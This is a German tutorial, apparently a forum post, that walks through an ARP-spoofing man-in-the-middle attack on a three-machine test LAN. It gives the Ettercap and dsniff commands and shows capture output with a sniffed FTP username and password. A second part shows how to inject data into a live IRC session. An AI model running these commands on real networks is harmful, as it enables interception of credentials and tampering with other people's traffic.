|
Hier noch ein auch schon recht alter Text darueber wie man einen MITM Angriff im geswitchen LAN durchfuert.
Einleitung: Verwendete Programme:
- Ettercap (http://ettercap.sourceforge.net/) - Ethereal (http://www.ethereal.com/) (optional) - Dsniff (http://www.monkey.org/~dugsong/dsniff/) (optional) //Hinweis: diese Programme benötigen zum arbeiten i.d.R. root Rechte um einen Raw Socket zu erstellen! Was die einzelnen Parameter zu bedeuten haben könnt ihr in der jeweiligen man page nachlesen.
"Ein Man-In-The-Middle-Angriff (Abkürzung: MITM) ist eine Angriffsform, welche in Computernetzen ihre Anwendung findet.[...]
Der Angreifer steht dabei entweder physikalisch oder - heute meist - logisch zwischen den beiden Kommunikationspartnern und hat dabei mit seinem System komplette Kontrolle über den Datenverkehr zwischen zwei oder mehreren Netzwerkteilnehmern und kann die Informationen nach Belieben einsehen und sogar manipulieren." Quelle: Wikipedia Versuchsaufbau:
deimos (IP: 10.0.0.5 MAC: AA:AA:AA:AA:AA:AA) # Server im LAN phobos (IP: 10.0.0.1 MAC: BB:BB:BB:BB:BB:BB)
# PC des Opfers, der sich auf den server verbindet cronos (IP: 10.0.0.2 MAC: CC:CC:CC:CC:CC:CC)
# PC des Angreifers Ich werde mit Hilfe von Ettercap den Netzwerkverkehr zwischen deimos und phobos über meinen Rechner (cronos) umleiten um einen FTP Login von phobos auf deimos zu sniffen und im zweiten Beispiel werde ich Pakete in eine bestehende IRC Verbindung zwischen beiden injizieren.
Los gehts: FTP Login sniffen
Hier kurz zur Theorie: Pakete die im Ethernet versendet werden benötigen zur Addressierung die MAC Addressen. Diese sind unabhängig von den IP Addressen und für die Zuordnung von MAC und IP Addresse ist das Address Resolution Protocol (ARP) zuständig. Um zu einer IP die zugehörige MAC zu finden wird ein ARP Broadcast gesendet an die MAC ff:ff:ff:ff:ff:ff mit der gesuchten IP und der entsprechende Client antwortet mit seiner MAC (ARP-Reply). Diese Zuordnung wird nach jedem ARP-Broadcast in die ARP-Tabelle eingetragen. Wenn nun zB. Rechner A an Rechner B einen Ping schicken will sendet A zuerst einen ARP-Broadcast um herauszufinden welche MAC der IP von B zuzuordnen ist und speichert diese Zuordnung dann in seiner ARP-Tabelle (nur für einen beschränkten Zeitraum), welche man mit dem Befehl arp ansehen kann. Dann erst wird das Paket verschickt an die MAC von B.
Für das obige Beispielnetzwerk könnte die ARP-Tabelle von phobos zB. so aussehen:
phobos:~# arp Address HWtype HWaddress Flags Mask Iface 10.0.0.5 ether AA:AA:AA:AA:AA:AA C eth0 10.0.0.4 ether DD:DD:DD:DD:DD:DD C eth0 Ziel der Mitm Attack ist es nun meine MAC Addresse (die von cronos) in die ARP-Tabelle von phobos einzutragen unter der IP der beiden "Opferrechner".
Als erstes starte ich Ethereal um den ganzen Vorgang zu verdeutlichen:
cronos:~# ethereal -i eth0 -S -k
Ich nutze hier Ethereal um alle Netzwerkpakete die über das eth0 interface gehen zu loggen, für den eigentlichen Angriff ist es jedoch nicht erforderlich.
Jetzt kommt Ettercap ins Spiel:
cronos:~# ettercap -T -M arp:remote /10.0.0.1/ /10.0.0.5/
Was genau Ettercap dort nun sendet kann ich mit Ethereal überprüfen: NO. Time Source Destination Protocol Info
1 0.000000 cronos Broadcast ARP Who has 10.0.0.1? Tell 10.0.0.2 2 0.000150 phobos cronos ARP 10.0.0.1 is at BB:BB:BB:BB:BB:BB 3 0.080861 cronos Broadcast ARP Who has 10.0.0.5? Tell 10.0.0.2 4 0.080981 deimos cronos ARP 10.0.0.5 is at AA:AA:AA:AA:AA:AA Hier werden nun die beiden Broadcasts gesendet um die IP's den MAC's zuzuordnen.
5 1.105861 deimos phobos ICMP Echo (ping) request
6 1.105965 phobos deimos ICMP Echo (ping) request Da manche Betriebssysteme auf einen ARP-Reply ohne vorhergehenden ARP-Request nicht reagieren sendet Ettercap hier 2 gefälschte ICMP Pakete mit der eigenen MAC (CC:CC:CC:CC:CC:CC in diesem Fall) und der jeweiligen IP der Opfer Rechner.
7 1.106002 cronos phobos ARP 10.0.0.1 is at CC:CC:CC:CC:CC:CC
8 1.106035 cronos deimos ARP 10.0.0.5 is at CC:CC:CC:CC:CC:CC Das ist der Trick des ganzen, cronos sendet nun gefälschte ARP-Reply Pakete an die beiden Rechner so das diese nun die MAC Addresse von cronos mit dem jeweils anderen Gesprächspartner assoziieren.
Damit befinden wir uns nun "in der Mitte" :) Ettercap übernimmt dabei für uns die Aufgabe des Routers indem es Pakete die über cronos umgeleitet wurden an ihr ursprüngliches Ziel weiterleitet. Hier die ARP-Tabellen nach dem erfolgreichen ARP-Spoofing.
phobos:~# arp Address HWtype HWaddress Flags Mask Iface 10.0.0.5 ether CC:CC:CC:CC:CC:CC C eth0 deimos:~# arp
Address HWtype HWaddress Flags Mask Iface 10.0.0.1 ether CC:CC:CC:CC:CC:CC C eth0 Um nun an die Daten die während der verbindungen gesendet werden zu kommen können wir entweder Ethereal nutzen oder aber bei Ettercap bleiben.
Von Phobos aus logge ich mich nun auf den FTP-Server auf deimos ein:
cr@phobos:~> ftp 10.0.0.5
Connected to 10.0.0.5. 220 (vsFTPd 2.0.2) Name: test 331 Please specify the password. Password: 230 Login successfull. Remote system type is UNIX. Using binary mode to transfer files. ftp>close 221 Goodbye. Auf cronos würde das ganze dann so aussehen (der Übersicht halber habe ich die Log gekürzt):
....
220 (vsFTPd 2.0.2). TCP 10.0.0.1:3880 --> 10.0.0.5:21 | A TCP 10.0.0.1:3880 --> 10.0.0.5:21 | AP USER test. TCP 10.0.0.5:21 --> 10.0.0.1:3880 | A TCP 10.0.0.5:21 --> 10.0.0.1:3880 | AP 331 Please specify the password.. TCP 10.0.0.1:3880 --> 10.0.0.5:21 | A FTP : 10.0.0.5:21 -> USER: test PASS: testuser TCP 10.0.0.1:3880 --> 10.0.0.5:21 | AP PASS testuser. TCP 10.0.0.5:21 --> 10.0.0.1:3880 | AP 230 Login successful.. .... Hier sehen wir die für den Login genutzen Daten :)
Eine alternative Möglichkeit wäre zB. noch Dsniff zu verwenden, das würde dann so aussehen: cronos:~# dsniff
dsniff: listening on eth0 ----------------- 03/01/06 05:35:18 tcp phobos.3880 -> 10.0.0.5.21 (ftp) USER test PASS testuser Naja viele wege führen nach Rom ;)
Mögliche Anwendung dieser Technik sind zb: im geswitchten Netzwerk (innherhalb eines Subnetzes) oder auch im W-Lan (hierfür kann man auch WEP keys an Ettercap als Parameter übergeben).
Möglichen "Schutz" bieten z.B. Programme die ARP Anfragen überwachen.
Nun zum zweiten Beispiel:
Ziel dieses mal ist es Daten in eine bestehende IRC Verbindung zwischen phobos und deimos zu injizieren. Wieder nutze ich Ettercap diesmal jedoch die GUI version (GUI Versionen gibt es mittlerweile von viele Programmen jedoch machen sich diese bei Erklärungen meist recht schlecht, aber da es hier eigentlich nicht viel zu erklären gibt sollte das kein Problem sein).
cronos:~# ettercap -G
Jetzt Shift+U drücken und dort euer Netzwerkinterface eingeben in meinem Fall eth0. Der Screenshot zeigt die Ettercap GUI.
- Strg + T : dort gebe ich in meinem Beispiel /10.0.0.1/ bei Target1 und /10.0.0.5/ bei Target2 ein - Jetzt gehe ich auf Mitm --> ARP Poisoning dort einen Haken machen bei Sniff remote Connections. - Strg + W : um nun das sniffen zu starten
Wenn ich jetzt auf phobos den IRC Client starte sehe ich im unteren Fenster die Verbindung und das Passwort. Mit Shift + C lasse ich mir die Verbindungen anzeigen und klicke doppelt auf die IRC Verbindung zum port 6667.

Mit Hilfe von Inject Data kann ich nun beliebige Daten an den Server schicken zB. PRIVMSG #main :injected string! was die Ausgabe von injected string im IRC zur Folge hätte.
Und das wars auch schon fürs erste, interessanter wird das ganze wenn die Sequenznummern nicht bekannt sind ; |